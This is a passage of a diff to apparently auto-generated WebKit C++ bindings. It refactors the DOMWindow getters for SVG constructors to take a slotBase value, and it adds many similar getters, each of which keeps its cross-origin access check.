+JSValue jsDOMWindowSVGElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGElementInstanceConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGElementInstance::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGElementInstanceListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGElementInstanceList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGEllipseElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGEllipseElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGException::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGGradientElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGGElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGGElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGGradientElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGGradientElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGLengthConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGImageElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGImageElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGLengthConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGLength::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGMarkerElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGLengthListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGLengthList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGLinearGradientElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGLinearGradientElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGLineElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGLineElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGMarkerElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGMarkerElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGPaintConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGMaskElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGMaskElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGMatrixConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGMatrix::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGMetadataElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGMetadataElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGNumberConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGNumber::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGNumberListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGNumberList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPaintConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGPaint::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGPathSegConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGPathElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGPathSeg::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGPreserveAspectRatioConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGPathSegArcAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegArcAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegArcRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegArcRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegClosePathConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegClosePath::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoCubicAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoCubicAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoCubicRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoCubicRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoCubicSmoothAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoCubicSmoothRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoQuadraticAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoQuadraticRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoQuadraticRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoQuadraticSmoothAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegCurvetoQuadraticSmoothRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoHorizontalAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoHorizontalAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoHorizontalRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoHorizontalRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoVerticalAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoVerticalAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegLinetoVerticalRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegLinetoVerticalRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegMovetoAbsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegMovetoAbs::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPathSegMovetoRelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPathSegMovetoRel::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPatternElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPatternElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPointConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPoint::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPointListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPointList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPolygonElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPolygonElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPolylineElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGPolylineElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGPreserveAspectRatioConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGPreserveAspectRatio::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGRenderingIntentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGRadialGradientElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGRadialGradientElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGRectConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGRect::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGRectElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGRectElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGRenderingIntentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGRenderingIntent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGTextContentElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGScriptElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGScriptElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGStopElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGStopElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGStringListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGStringList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGStyleElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGStyleElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGSVGElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGSVGElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGSwitchElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGSwitchElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGSymbolElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGSymbolElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTextContentElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGTextContentElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGTextPathElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGTextElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTextElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTextPathElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGTextPathElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGTransformConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGTextPositioningElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTextPositioningElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTitleElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTitleElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTransformConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGTransform::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGUnitTypesConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGTransformListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTransformList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTRefElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTRefElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGTSpanElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGTSpanElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGUnitTypesConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGUnitTypes::getConstructor(exec, castedThis);
 }
 
+JSValue jsDOMWindowSVGUseElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGUseElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGViewElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGViewElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGZoomEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGZoomEvent::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGComponentTransferFunctionElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGComponentTransferFunctionElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEBlendElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEBlendElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEColorMatrixElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEColorMatrixElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEComponentTransferElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEComponentTransferElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFECompositeElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFECompositeElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEDiffuseLightingElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEDiffuseLightingElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEDisplacementMapElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEDisplacementMapElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEDistantLightElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEDistantLightElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEFloodElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEFloodElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEFuncAElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGFEFuncAElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGFEFuncBElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
